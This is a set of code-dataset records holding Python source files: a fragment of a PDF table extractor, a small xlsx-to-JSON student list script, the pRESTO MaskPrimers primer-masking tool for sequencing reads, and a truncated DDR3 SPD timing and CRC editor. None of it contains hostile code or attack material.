boundaries = []\n for i in range(0, max_elements):\n # Most left point in a column.\n boundaries.append(min(normal_rows,\n key=lambda row: row[i].left)[i].left)\n # Most right point in a column.\n boundaries.append(max(normal_rows,\n key=lambda row: row[i].right)[i].right)\n del boundaries[0]\n del boundaries[-1]\n # Transform boundaries into spaces between columns.\n column_spaces = []\n for i in range(0, len(boundaries) / 2):\n column_spaces.append([boundaries[2 * i], boundaries[2 * i + 1]])\n self.rows = normal_rows\n # Attempt to break some of the lines in short rows.\n for row in short_rows:\n new_row = []\n for line in row:\n for cs in column_spaces:\n # If line crosses the space entirely, attempt to\n # break it on one of the spaces in it.\n if line.left < cs[0] and line.right > cs[1]:\n # We cannot break a line if there are no spaces.\n # This means that line is, most likely, not needed.\n if not line.spaces_coords:\n line = None\n break\n else:\n # Find the line space closest to column space.\n cs2 = (cs[1] + cs[0]) / 2\n cls = min(line.spaces_coords,\n key=lambda space:\n abs((space[1] + space[0]) / 2 - cs2))\n if abs((cls[1] + cls[0]) / 2 - cs2) > 5000:\n # Line's spaces are too far from the\n # column boundaries, so it is removed.\n # TO DO: fix this.\n line = None\n break\n [nl1, nl2] = line.split(cls)\n new_row.append(nl1)\n line = nl2\n if line is not None:\n new_row.append(line)\n # Make sure that new row has enough members.\n if new_row:\n num_lines = len(new_row)\n # Try to find a line corresponding each main center.\n for c in main_centers:\n if num_lines >= max_elements:\n # Row is long enough.\n break\n i = 0\n existing_column = False\n for line in new_row:\n if line.left <= c and line.right >= c:\n existing_column = True\n break\n # If there is no line corresponding a center, add\n # an \"EMPTY\" line to row.\n if not existing_column:\n nl = TextLine([c - 1, new_row[0].top, c + 1,\n new_row[0].bottom, \"EMPTY\", []])\n new_row.append(nl)\n num_lines += 1\n new_row.sort(key=lambda line: line.center[0])\n self.rows.append(new_row)\n self.rows.sort(key=lambda row: row_centery(row))\n\n\ndef analyze_page(text):\n lines = [TextLine(line) for line in re_textline.findall(text)]\n\n # Find the highest top coordinate possible and use it as a zero\n # point for new Y axis.\n top = max(lines, key=lambda line: line.top).top\n for line in lines:\n line.swap_y(top)\n\n t = []\n rows = []\n # Construct rows out of lines\n for line in lines:\n if line not in t:\n row = [line]\n for nline in lines:\n if nline != line and nline not in t and line.same_row(nline):\n row.append(nline)\n row.sort(key=lambda nline: nline.center[0])\n rows.append(row)\n t += row\n rows.sort(key=lambda row: row_centery(row))\n # Discard the top row if it contains \"DRAFT\" line. Such line is sometimes\n # placed on top of each page of the document and may interfere with\n # reconstruction when the caption is below the tables.\n for line in rows[0]:\n if line.text == \"DRAFT\":\n rows = rows[1:]\n break\n\n return rows\n\n\ndef get_tables_from_text(text):\n \"\"\" Get tables from a xml page text. \"\"\"\n rows = analyze_page(text)\n caption_start = False\n caption_rows = []\n text_rows = []\n # Determine the type of each row, if possible.\n # Caption rows are related to the table - notably, they contain the table\n # number.\n # Text rows contain parts of the document's main text body.\n # The tables cannot include rows from any of these two types - therefore,\n # such rows (and document borders) can be used to determine whether the\n # table captions are positioned above or below their tables.\n for (i, row) in enumerate(rows):\n if re_table_caption_short.match(row[0].text):\n caption_start = row\n caption_rows.append(i)\n elif caption_start and len(row) == 1 and\\\n abs(row[0].left - caption_start[0].left) < 1.0:\n caption_rows.append(i)\n else:\n caption_start = False\n if len(row) > 1 and row[0].right - row[0].left < 10.0:\n f = row[1]\n else:\n f = row[0]\n # Magic number - text rows in most of the documents are positioned\n # in such way that PDFMiner determines their left coordinate to\n # be ~76. Non-rotated pages only.\n if f.left - 76.0 < 1.0 and len(row) < 3:\n text_rows.append(i)\n # Tables' captions position on the page\n # -1 - above tables\n # 0 - unknown\n # 1 - below tables\n caption_position = 0\n if 0 in caption_rows:\n caption_position = -1\n elif len(rows) - 1 in caption_rows:\n caption_position = 1\n else:\n for i in caption_rows:\n if i - 1 in text_rows:\n caption_position = -1\n break\n elif i + 1 in text_rows:\n caption_position = 1\n break\n tables = []\n if caption_position < 0:\n i = len(rows) - 1\n last_unused = i\n while i >= 0:\n if i in caption_rows:\n table_rows = rows[i + 1:last_unused + 1]\n while i - 1 in caption_rows:\n i -= 1\n caption = \"\".join([line.text for line in rows[i]])\n while i + 1 in caption_rows:\n i += 1\n caption += \"\".join([line.text for line in rows[i]])\n while i - 1 in caption_rows:\n i -= 1\n # Row after table cannot be another caption and is first unused\n # row for the next table.\n i -= 1\n last_unused = i\n i -= 1\n table = Table(caption, table_rows, caption_position)\n if table.rows:\n tables.append(table)\n else:\n i -= 1\n tables = list(reversed(tables))\n else:\n i = 0\n last_unused = i\n while i < len(rows):\n if i in caption_rows:\n table_rows = rows[last_unused:i]\n caption = \"\".join([line.text for line in rows[i]])\n while i + 1 in caption_rows:\n i += 1\n caption += \"\".join([line.text for line in rows[i]])\n # Row after table cannot be another caption and is first unused\n # row for the next table.\n i += 1\n last_unused = i\n i += 1\n table = Table(caption, table_rows, caption_position)\n if table.rows:\n tables.append(table)\n else:\n i += 1\n return tables\n","repo_name":"PanDAWMS/dkb","sub_path":"Utils/Dataflow/docs4virtuoso/030_PDFAnalyzer/xmltable.py","file_name":"xmltable.py","file_ext":"py","file_size_in_byte":18063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32451070848","text":"import xlrd\nimport json\n\nloc = (\"data/ds.xlsx\")\n \n# To open Workbook\nwb = xlrd.open_workbook(loc)\nsheet = wb.sheet_by_index(0)\n \ndef getListSTD():\n database = []\n for i in range(4, 149, 1):\n row = []\n #print(sheet.cell_value(i, 3))\n row.append(sheet.cell_value(i, 1))\n row.append(sheet.cell_value(i, 2))\n row.append(sheet.cell_value(i, 3))\n database.append(row)\n return database\n\ndef writeJsonSTD(data):\n with open('data.json', 'w', encoding='utf-8') as f:\n json.dump(data, f, ensure_ascii=False, indent=4)\n\ndef readJsonSTD():\n arr = []\n with open('data.json', 'r', encoding='utf-8') as f:\n arr = json.load(f)\n return arr","repo_name":"tncn1122/Checkin-UIS-BE","sub_path":"getListStudent.py","file_name":"getListStudent.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38204313905","text":"#!/home/ezio/anaconda3/bin/python3.6\n\"\"\"\nRemoves primers and annotates sequences with primer and barcode identifiers\n\"\"\"\n# Info\n__author__ = 'Jason Anthony Vander Heiden'\nfrom presto import __version__, __date__\n\n# Imports\nimport os\nfrom argparse import ArgumentParser\nfrom collections import OrderedDict\nfrom textwrap import dedent\n\n# Presto imports\nfrom presto.Defaults import default_delimiter, default_out_args, default_primer_gap_penalty, default_primer_max_error, \\\n default_primer_max_len, default_primer_start, default_barcode_field, default_primer_field\nfrom presto.Commandline import CommonHelpFormatter, checkArgs, getCommonArgParser, parseCommonArgs\nfrom presto.Sequence import localAlignment, compilePrimers, extractAlignment, getDNAScoreDict, \\\n maskSeq, reverseComplement, scoreAlignment\nfrom presto.IO import readPrimerFile, printLog\nfrom presto.Multiprocessing import SeqResult, manageProcesses, feedSeqQueue, \\\n processSeqQueue, collectSeqQueue\n\n\ndef extractPrimers(data, start, length, rev_primer=False, mode='mask', barcode=False,\n barcode_field=default_barcode_field, primer_field=default_primer_field,\n delimiter=default_delimiter):\n \"\"\"\n Extracts primer sequences directly\n\n Arguments:\n data : SeqData object containing a single SeqRecord object to process.\n start : position where subsequence starts.\n length : the length of the subsequence to extract.\n rev_primer : if True extract relative to the tail end of the sequence.\n mode : defines the action taken; one of 'cut', 'mask', 'tag' or 'trim'.\n barcode : if True add sequence preceding primer to description.\n barcode_field : name of the output barcode annotation.\n primer_field : name of the output primer annotation.\n delimiter : a tuple of delimiters for (annotations, field/values, value lists).\n\n Returns:\n presto.Multiprocessing.SeqResult: result object.\n \"\"\"\n # Define result object\n result = SeqResult(data.id, data.data)\n\n # Align primers\n align = extractAlignment(data.data, start=start, length=length, rev_primer=rev_primer)\n if not align:\n result.log['ALIGN'] = None\n return result\n\n # Create output sequence\n out_seq = maskSeq(align, mode=mode, barcode=barcode, barcode_field=barcode_field,\n primer_field=primer_field, delimiter=delimiter)\n result.results = out_seq\n result.valid = True\n\n # Update log with successful alignment results\n result.log['PRIMER'] = align.primer\n result.log['PRSTART'] = align.start\n if 'barcode' in out_seq.annotations:\n result.log['BARCODE'] = out_seq.annotations['barcode']\n if not align.rev_primer:\n align_cut = len(align.align_seq) - align.gaps\n result.log['INSEQ'] = align.align_seq + str(align.seq.seq[align_cut:])\n result.log['ALIGN'] = align.align_primer\n result.log['OUTSEQ'] = str(out_seq.seq).rjust(len(result.data.seq) + align.gaps)\n else:\n align_cut = len(align.seq) - len(align.align_seq) + align.gaps\n result.log['INSEQ'] = str(align.seq.seq[:align_cut]) + align.align_seq\n result.log['ALIGN'] = align.align_primer.rjust(len(result.data.seq) + align.gaps)\n result.log['OUTSEQ'] = str(out_seq.seq)\n\n return result\n\n\ndef alignPrimers(data, primers, primers_regex=None, max_error=default_primer_max_error,\n max_len=default_primer_max_len, rev_primer=False, skip_rc=False, mode='mask',\n barcode=False, barcode_field=default_barcode_field, primer_field=default_primer_field,\n gap_penalty=default_primer_gap_penalty, score_dict=getDNAScoreDict(mask_score=(0, 1), gap_score=(0, 0)),\n delimiter=default_delimiter):\n \"\"\"\n Performs pairwise local alignment of a list of short sequences against a long sequence\n\n Arguments:\n data : SeqData object containing a single SeqRecord object to process.\n primers : dictionary of {names: short IUPAC ambiguous sequence strings}.\n primers_regex : optional dictionary of {names: compiled primer regular expressions}.\n max_error : maximum acceptable error rate for a valid alignment.\n max_len : maximum length of sample sequence to align.\n rev_primer : if True align with the tail end of the sequence.\n skip_rc : if True do not check reverse complement sequences.\n mode : defines the action taken; one of 'cut', 'mask', 'tag' or 'trim'.\n barcode : if True add sequence preceding primer to description.\n barcode_field : name of the output barcode annotation.\n primer_field : name of the output primer annotation.\n gap_penalty : a tuple of positive (gap open, gap extend) penalties.\n score_dict : optional dictionary of {(char1, char2): score} alignment scores\n delimiter : a tuple of delimiters for (annotations, field/values, value lists).\n\n Returns:\n presto.Multiprocessing.SeqResult: result object.\n \"\"\"\n # Define result object\n result = SeqResult(data.id, data.data)\n\n # Align primers\n align = localAlignment(data.data, primers, primers_regex=primers_regex, max_error=max_error,\n max_len=max_len, rev_primer=rev_primer, skip_rc=skip_rc,\n gap_penalty=gap_penalty, score_dict=score_dict)\n if not align:\n # Update log if no alignment\n result.log['ALIGN'] = None\n return result\n\n # Create output sequence\n out_seq = maskSeq(align, mode=mode, barcode=barcode, barcode_field=barcode_field,\n primer_field=primer_field, delimiter=delimiter)\n result.results = out_seq\n result.valid = bool(align.error <= max_error) if len(out_seq) > 0 else False\n\n # Update log with successful alignment results\n result.log['SEQORIENT'] = out_seq.annotations['seqorient']\n result.log['PRIMER'] = align.primer\n result.log['PRORIENT'] = 'RC' if align.rev_primer else 'F'\n result.log['PRSTART'] = align.start\n if 'barcode' in out_seq.annotations:\n result.log['BARCODE'] = out_seq.annotations['barcode']\n if not align.rev_primer:\n align_cut = len(align.align_seq) - align.gaps\n result.log['INSEQ'] = align.align_seq + \\\n str(align.seq.seq[align_cut:])\n result.log['ALIGN'] = align.align_primer\n result.log['OUTSEQ'] = str(out_seq.seq).rjust(len(result.data.seq) + align.gaps)\n else:\n align_cut = len(align.seq) - len(align.align_seq) + align.gaps\n result.log['INSEQ'] = str(align.seq.seq[:align_cut]) + align.align_seq\n result.log['ALIGN'] = align.align_primer.rjust(len(result.data.seq) + align.gaps)\n result.log['OUTSEQ'] = str(out_seq.seq)\n result.log['ERROR'] = align.error\n\n return result\n\n\ndef scorePrimers(data, primers, max_error=default_primer_max_error, start=default_primer_start, rev_primer=False, mode='mask',\n barcode=False, barcode_field=default_barcode_field, primer_field=default_primer_field,\n score_dict=getDNAScoreDict(mask_score=(0, 1), gap_score=(0, 0)),\n delimiter=default_delimiter):\n \"\"\"\n Performs a simple fixed position alignment of primers\n\n Arguments:\n data : SeqData object containing a single SeqRecord object to process.\n primers : dictionary of {names: short IUPAC ambiguous sequence strings}.\n max_error : maximum acceptable error rate for a valid alignment\n start : position where primer alignment starts.\n rev_primer : if True align with the tail end of the sequence.\n mode : defines the action taken; one of 'cut', 'mask', 'tag' or 'trim'.\n barcode : if True add sequence preceding primer to description.\n barcode_field : name of the output barcode annotation.\n primer_field : name of the output primer annotation.\n score_dict : optional dictionary of {(char1, char2): score} alignment scores\n delimiter : a tuple of delimiters for (annotations, field/values, value lists).\n\n Returns:\n presto.Multiprocessing.SeqResult: result object.\n \"\"\"\n # Define result object\n result = SeqResult(data.id, data.data)\n\n # Align primers\n align = scoreAlignment(data.data, primers, start=start, rev_primer=rev_primer,\n score_dict=score_dict)\n if not align:\n # Update log if no alignment\n result.log['ALIGN'] = None\n return result\n\n # Create output sequence\n out_seq = maskSeq(align, mode=mode, barcode=barcode, barcode_field=barcode_field,\n primer_field=primer_field, delimiter=delimiter)\n result.results = out_seq\n result.valid = bool(align.error <= max_error) if len(out_seq) > 0 else False\n\n # Update log with successful alignment results\n result.log['PRIMER'] = align.primer\n result.log['PRORIENT'] = 'RC' if align.rev_primer else 'F'\n result.log['PRSTART'] = align.start\n if 'barcode' in out_seq.annotations:\n result.log['BARCODE'] = out_seq.annotations['barcode']\n if not align.rev_primer:\n align_cut = len(align.align_seq) - align.gaps\n result.log['INSEQ'] = align.align_seq + \\\n str(align.seq.seq[align_cut:])\n result.log['ALIGN'] = align.align_primer\n result.log['OUTSEQ'] = str(out_seq.seq).rjust(len(result.data.seq) + align.gaps)\n else:\n align_cut = len(align.seq) - len(align.align_seq) + align.gaps\n result.log['INSEQ'] = str(align.seq.seq[:align_cut]) + align.align_seq\n result.log['ALIGN'] = align.align_primer.rjust(len(result.data.seq) + align.gaps)\n result.log['OUTSEQ'] = str(out_seq.seq)\n result.log['ERROR'] = align.error\n\n return result\n\n\ndef maskPrimers(seq_file, primer_file, align_func, align_args={},\n out_file=None, out_args=default_out_args,\n nproc=None, queue_size=None):\n \"\"\"\n Masks or cuts primers from sample sequences using local alignment\n\n Arguments: \n seq_file : name of file containing sample sequences.\n primer_file : name of the file containing primer sequences.\n align_func : the function to call for alignment.\n align_arcs : a dictionary of arguments to pass to align_func.\n out_file : output file name. Automatically generated from the input file if None.\n out_args : common output argument dictionary from parseCommonArgs.\n nproc : the number of processQueue processes;\n if None defaults to the number of CPUs.\n queue_size : maximum size of the argument queue;\n if None defaults to 2*nproc.\n \n Returns:\n list: a list of successful output file names.\n \"\"\"\n # Define subcommand label dictionary\n cmd_dict = {alignPrimers: 'align', scorePrimers: 'score', extractPrimers: 'extract'}\n \n # Print parameter info\n log = OrderedDict()\n log['START'] = 'MaskPrimers'\n log['COMMAND'] = cmd_dict.get(align_func, align_func.__name__)\n log['SEQ_FILE'] = os.path.basename(seq_file)\n if primer_file is not None:\n log['PRIMER_FILE'] = os.path.basename(primer_file)\n if 'mode' in align_args: log['MODE'] = align_args['mode']\n if 'max_error' in align_args: log['MAX_ERROR'] = align_args['max_error']\n if 'start' in align_args: log['START_POS'] = align_args['start']\n if 'length' in align_args: log['LENGTH'] = align_args['length']\n if 'max_len' in align_args: log['MAX_LEN'] = align_args['max_len']\n if 'rev_primer' in align_args: log['REV_PRIMER'] = align_args['rev_primer']\n if 'skip_rc' in align_args: log['SKIP_RC'] = align_args['skip_rc']\n if 'gap_penalty' in align_args:\n log['GAP_PENALTY'] = ', '.join([str(x) for x in align_args['gap_penalty']])\n if 'barcode' in align_args:\n log['BARCODE'] = align_args['barcode']\n if 'barcode' in align_args and align_args['barcode']:\n log['BARCODE_FIELD'] = align_args['barcode_field']\n log['PRIMER_FIELD'] = align_args['primer_field']\n log['NPROC'] = nproc\n printLog(log)\n\n # Define alignment arguments and compile primers for align mode\n if primer_file is not None:\n primers = readPrimerFile(primer_file)\n if 'rev_primer' in align_args and align_args['rev_primer']:\n primers = {k: reverseComplement(v) for k, v in primers.items()}\n align_args['primers'] = primers\n align_args['score_dict'] = getDNAScoreDict(mask_score=(0, 1), gap_score=(0, 0))\n if align_func is alignPrimers:\n align_args['primers_regex'] = compilePrimers(primers)\n align_args['delimiter'] = out_args['delimiter']\n\n # Define feeder function and arguments\n feed_func = feedSeqQueue\n feed_args = {'seq_file': seq_file}\n # Define worker function and arguments\n work_func = processSeqQueue\n work_args = {'process_func': align_func,\n 'process_args': align_args}\n # Define collector function and arguments\n collect_func = collectSeqQueue\n collect_args = {'seq_file': seq_file,\n 'label': 'primers',\n 'out_file': out_file,\n 'out_args': out_args}\n \n # Call process manager\n result = manageProcesses(feed_func, work_func, collect_func, \n feed_args, work_args, collect_args, \n nproc, queue_size)\n\n # Print log\n result['log']['END'] = 'MaskPrimers'\n printLog(result['log'])\n \n return result['out_files']\n\n\ndef getArgParser():\n \"\"\"\n Defines the ArgumentParser\n\n Returns:\n argparse.ArgumentParser: argument parser object.\n \"\"\"\n # Define output file names and header fields\n fields = dedent(\n '''\n output files:\n mask-pass\n processed reads with successful primer matches.\n mask-fail\n raw reads failing primer identification.\n\n output annotation fields:\n SEQORIENT\n the orientation of the output sequence. Either F (input) or RC\n (reverse complement of input).\n PRIMER\n name of the best primer match.\n BARCODE\n the sequence preceding the primer match. Only output when the\n --barcode flag is specified.\n ''')\n\n # Define ArgumentParser\n parser = ArgumentParser(description=__doc__, epilog=fields,\n formatter_class=CommonHelpFormatter, add_help=False)\n group_help = parser.add_argument_group('help')\n group_help.add_argument('--version', action='version',\n version='%(prog)s:' + ' %s %s' %(__version__, __date__))\n group_help.add_argument('-h', '--help', action='help', help='show this help message and exit')\n subparsers = parser.add_subparsers(title='subcommands', metavar='',\n help='Alignment method')\n # TODO: This is a temporary fix for Python issue 9253\n subparsers.required = True\n \n # Parent parser\n parent_parser = getCommonArgParser(multiproc=True)\n\n # Align mode argument parser\n parser_align = subparsers.add_parser('align', parents=[parent_parser],\n formatter_class=CommonHelpFormatter, add_help=False,\n help='Find primer matches using pairwise local alignment.',\n description='Find primer matches using pairwise local alignment.')\n group_align = parser_align.add_argument_group('primer alignment arguments')\n group_align.add_argument('-p', action='store', dest='primer_file', required=True,\n help='A FASTA file containing primer sequences.')\n group_align.add_argument('--maxerror', action='store', dest='max_error', type=float,\n default=default_primer_max_error, help='Maximum allowable error rate.')\n group_align.add_argument('--maxlen', action='store', dest='max_len', type=int,\n default=default_primer_max_len,\n help='''Length of the sequence window to scan for primers.''')\n group_align.add_argument('--gap', nargs=2, action='store', dest='gap_penalty',\n type=float, default=default_primer_gap_penalty,\n help='''A list of two positive values defining the gap open\n and gap extension penalties for aligning the primers.\n Note: the error rate is calculated as the percentage\n of mismatches from the primer sequence with gap\n penalties reducing the match count accordingly; this may\n lead to error rates that differ from strict mismatch\n percentage when gaps are present in the alignment.''')\n group_align.add_argument('--revpr', action='store_true', dest='rev_primer',\n help='''Specify to match the tail-end of the sequence against the\n reverse complement of the primers. This also reverses the\n behavior of the --maxlen argument, such that the search\n window begins at the tail-end of the sequence.''')\n group_align.add_argument('--skiprc', action='store_true', dest='skip_rc',\n help='Specify to prevent checking of sample reverse complement sequences.')\n group_align.add_argument('--mode', action='store', dest='mode',\n choices=('cut', 'mask', 'trim', 'tag'), default='mask',\n help='''Specifies the action to take with the primer sequence.\n The \"cut\" mode will remove both the primer region and\n the preceding sequence. The \"mask\" mode will replace the\n primer region with Ns and remove the preceding sequence.\n The \"trim\" mode will remove the region preceding the primer,\n but leave the primer region intact. The \"tag\" mode will\n leave the input sequence unmodified.''')\n group_align.add_argument('--barcode', action='store_true', dest='barcode',\n help='''Specify to annotate reads sequences with barcode sequences\n (unique molecular identifiers) found preceding the primer.''')\n group_align.add_argument('--bf', action='store', dest='barcode_field', default=default_barcode_field,\n help='''Name of the barcode annotation field.''')\n group_align.add_argument('--pf', action='store', dest='primer_field', default=default_primer_field,\n help='''Name of the annotation field containing the primer name.''')\n parser_align.set_defaults(align_func=alignPrimers)\n\n # Score mode argument parser\n parser_score = subparsers.add_parser('score', parents=[parent_parser],\n formatter_class=CommonHelpFormatter, add_help=False,\n help='Find primer matches by scoring primers at a fixed position.',\n description='Find primer matches by scoring primers at a fixed position.')\n group_score = parser_score.add_argument_group('primer scoring arguments')\n group_score.add_argument('-p', action='store', dest='primer_file', required=True,\n help='A FASTA file containing primer sequences.')\n group_score.add_argument('--start', action='store', dest='start', type=int, default=default_primer_start,\n help='The starting position of the primer.')\n group_score.add_argument('--maxerror', action='store', dest='max_error', type=float,\n default=default_primer_max_error, help='Maximum allowable error rate.')\n group_score.add_argument('--revpr', action='store_true', dest='rev_primer',\n help='''Specify to match the tail-end of the sequence against the\n reverse complement of the primers. This also reverses the\n behavior of the --start argument, such that start position is \n relative to the tail-end of the sequence.''')\n group_score.add_argument('--mode', action='store', dest='mode',\n choices=('cut', 'mask', 'trim', 'tag'), default='mask',\n help='''Specifies the action to take with the primer sequence.\n The \"cut\" mode will remove both the primer region and\n the preceding sequence. The \"mask\" mode will replace the\n primer region with Ns and remove the preceding sequence.\n The \"trim\" mode will remove the region preceding the primer,\n but leave the primer region intact. The \"tag\" mode will\n leave the input sequence unmodified.''')\n group_score.add_argument('--barcode', action='store_true', dest='barcode',\n help='''Specify to annotate reads sequences with barcode sequences\n (unique molecular identifiers) found preceding the primer.''')\n group_score.add_argument('--bf', action='store', dest='barcode_field', default=default_barcode_field,\n help='''Name of the barcode annotation field.''')\n group_score.add_argument('--pf', action='store', dest='primer_field', default=default_primer_field,\n help='''Name of the annotation field containing the primer name.''')\n parser_score.set_defaults(align_func=scorePrimers)\n\n # Extract mode argument parser\n parser_extract = subparsers.add_parser('extract', parents=[parent_parser],\n formatter_class=CommonHelpFormatter, add_help=False,\n help='Remove and annotate a fixed sequence region.',\n description='Remove and annotate a fixed sequence region.')\n group_extract = parser_extract.add_argument_group('region extraction arguments')\n group_extract.add_argument('--start', action='store', dest='start', type=int, default=default_primer_start,\n help='The starting position of the sequence region to extract.')\n group_extract.add_argument('--len', action='store', dest='length', type=int, required=True,\n help='The length of the sequence to extract.')\n group_extract.add_argument('--revpr', action='store_true', dest='rev_primer',\n help='''Specify to extract from the tail end of the sequence with the start\n position relative to the end of the sequence.''')\n group_extract.add_argument('--mode', action='store', dest='mode',\n choices=('cut', 'mask', 'trim', 'tag'), default='mask',\n help='''Specifies the action to take with the sequence region.\n The \"cut\" mode will remove the region. \n The \"mask\" mode will replace the specified region with Ns.\n The \"trim\" mode will remove the sequence preceding the specified region,\n but leave the region intact. \n The \"tag\" mode will leave the input sequence unmodified.''')\n group_extract.add_argument('--barcode', action='store_true', dest='barcode',\n help='''Specify to remove the sequence preceding the extracted region and\n annotate the read with that sequence.''')\n group_extract.add_argument('--bf', action='store', dest='barcode_field', default=default_barcode_field,\n help='''Name of the barcode annotation field.''')\n group_extract.add_argument('--pf', action='store', dest='primer_field', default=default_primer_field,\n help='''Name of the annotation field containing the extracted sequence region.''')\n parser_extract.set_defaults(align_func=extractPrimers)\n\n return parser\n\n\n\nif __name__ == '__main__':\n \"\"\"\n Parses command line arguments and calls main function\n \"\"\"\n # Parse arguments\n parser = getArgParser()\n checkArgs(parser)\n args = parser.parse_args()\n args_dict = parseCommonArgs(args)\n \n # Define align_args dictionary to pass to maskPrimers\n if args_dict['align_func'] is alignPrimers:\n args_dict['align_args'] = {'max_error': args_dict['max_error'],\n 'max_len':args_dict['max_len'],\n 'rev_primer':args_dict['rev_primer'],\n 'skip_rc':args_dict['skip_rc'],\n 'gap_penalty':args_dict['gap_penalty'],\n 'mode': args_dict['mode'],\n 'barcode': args_dict['barcode'],\n 'barcode_field': args_dict['barcode_field'],\n 'primer_field': args_dict['primer_field']}\n\n del args_dict['max_error']\n del args_dict['max_len']\n del args_dict['rev_primer']\n del args_dict['skip_rc']\n del args_dict['gap_penalty']\n del args_dict['mode']\n del args_dict['barcode']\n del args_dict['barcode_field']\n del args_dict['primer_field']\n elif args_dict['align_func'] is scorePrimers:\n args_dict['align_args'] = {'max_error': args_dict['max_error'],\n 'start':args_dict['start'],\n 'rev_primer':args_dict['rev_primer'],\n 'mode': args_dict['mode'],\n 'barcode': args_dict['barcode'],\n 'barcode_field': args_dict['barcode_field'],\n 'primer_field': args_dict['primer_field']}\n del args_dict['max_error']\n del args_dict['start']\n del args_dict['rev_primer']\n del args_dict['mode']\n del args_dict['barcode']\n del args_dict['barcode_field']\n del args_dict['primer_field']\n elif args_dict['align_func'] is extractPrimers:\n args_dict['primer_file'] = None\n args_dict['align_args'] = {'start':args_dict['start'],\n 'length':args_dict['length'],\n 'rev_primer': args_dict['rev_primer'],\n 'mode':args_dict['mode'],\n 'barcode': args_dict['barcode'],\n 'barcode_field': args_dict['barcode_field'],\n 'primer_field': args_dict['primer_field']}\n del args_dict['start']\n del args_dict['length']\n del args_dict['rev_primer']\n del args_dict['mode']\n del args_dict['barcode']\n del args_dict['barcode_field']\n del args_dict['primer_field']\n\n # Call maskPrimers for each sample file\n del args_dict['seq_files']\n if 'out_files' in args_dict: del args_dict['out_files']\n for i, f in enumerate(args.__dict__['seq_files']):\n args_dict['seq_file'] = f\n args_dict['out_file'] = args.__dict__['out_files'][i] \\\n if args.__dict__['out_files'] else None\n maskPrimers(**args_dict)\n ","repo_name":"eziominervini/NanoIg","sub_path":"MaskPrimers.py","file_name":"MaskPrimers.py","file_ext":"py","file_size_in_byte":28074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24254121852","text":"#!/usr/bin/env python\n\ntry:\n from smbus2 import SMBus\n #print('\\nModule was installed')\nexcept ImportError:\n print('\\nWe need smbus2 to run\\n pip3 install smbus2 as root')\n\n\nimport time\nimport binascii\nimport argparse\n\nWRITE=0\nREADFROMFILE=0\nWRITETOFILE=0\nPOLYNOMIAL = 0x1021\nPRESET = 0\n\n\ndef writefile(final,filename):\n with open(filename, 'w') as f:\n for item in final:\n f.write(padhex(item)+\" \")\n \n \ndef readfromfile(filename):\n with open(filename, 'r') as f:\n data=f.read()\n data= data.split(\" \")\n data =list(filter(None, data))\n count=0\n final=[]\n for value in data:\n if value != '':\n final.append(int(value,16))\n\n return(final)\n\n\n\ndef _initial(c):\n crc = 0\n c = c << 8\n for j in range(8):\n if (crc ^ c) & 0x8000:\n crc = (crc << 1) ^ POLYNOMIAL\n else:\n crc = crc << 1\n c = c << 1\n return(crc)\n\n_tab = [ _initial(i) for i in range(256) ]\n\ndef _update_crc(crc, c):\n cc = 0xff & c\n tmp = (crc >> 8) ^ cc\n crc = (crc << 8) ^ _tab[tmp & 0xff]\n crc = crc & 0xffff\n return(crc)\n\ndef crc(str):\n crc = PRESET\n for c in str:\n crc = _update_crc(crc, ord(c))\n return(crc)\n\ndef crcb(i):\n crc = PRESET\n for c in i:\n crc = _update_crc(crc, c)\n return(crc)\n\ndef printcurrentcrc(final):\n print(\"Current CRC=\"+padhex(final[124]) + padhex(final[123])[2:] )\n\ndef padhex(hexunpadded):\n vis = hex(hexunpadded)\n printr = '0x' + vis[2:].zfill(2)\n return(printr)\n\t\n\ndef spdcrc(final):\n crc=hex(crcb(final[:117]))\n if VERBOSE:\n print(crc)\n crcbyte123= int('0x'+crc[4:],16)\n crcbyte124=int(crc[:4],16)\n final[123]=crcbyte123\n final[124]=crcbyte124\n return(final)\n\ndef writecas(final,args):\n caswant=args.replace(\"cl\",\"\").split(\" \")\n caswant=[int(x) for x in caswant if x]\n if VERBOSE:\n print(\"writecas\")\n print(caswant)\n\n count=4\n casoffset=4\n casbin=0\n cascount=0\n casstring=\"\"\n totalcasarray=16 \n while cascount < 16:\n if cascount == 6:\n casstring=casstring+\"1\"\n cascount=cascount+1\n continue \n if cascount+casoffset in caswant:\n casstring=casstring+\"1\"\n else:\n casstring=casstring+\"0\"\n cascount=cascount+1\n if VERBOSE: \n print(\"casstirng\"+casstring)\n print(\"caslow byte=\"+casstring[:8][::-1])\n print(\"cashigh byte=\"+casstring[8:][::-1])\n print(\"cashigh byte int=\"+ str(hex(int(\"0b\"+casstring[8:][::-1],2))))\n print(\"caslow byte int=\"+ str(hex(int(\"0b\"+casstring[:8][::-1],2))))\n final[14]=int(\"0b\"+casstring[:8][::-1],2)\n final[15]=int(\"0b\"+casstring[8:][::-1],2)\n return(final)\n \ndef readminrascasdelay(final):\n mincasdelay=final[20]*0.1250\n print(\"min #ras to #cas delay time=\"+str(mincasdelay)+\"ns\") \n\n\ndef writerastocas(final,rastocas,offset):\n if offset == None:\n offset=0 \n final[20]=int(rastocas)\n final[36]=int(offset)\n return(final)\n \n\ndef readmincasdelay(final):\n mincasdelay=final[16]*0.1250\n print(\"min cas latency=\"+str(mincasdelay)+\"ns\") \n\n\ndef readtckmin(final):\n tckmin=final[12]\n tckminoffset=final[34]\n if VERBOSE:\n print(\"----tck raw----\")\n print(padhex(tckmin))\n print(padhex(tckminoffset))\n if hex(tckmin) == \"0x14\":\n print(\"DDR3-800 clockspeed=400mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xf\":\n print(\"DDR3-1066 clockspeed=533mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xc\":\n print(\"DDR3-1333 clockspeed=667mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xa\":\n print(\"DDR3-1600 clockspeed=800mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0x9\" and hex(tckminoffset) == \"0xCA\":\n print(\"DDR3-1866 clockspeed=933mhz\")\n print(\"tckmin: \" + str(tckmin * 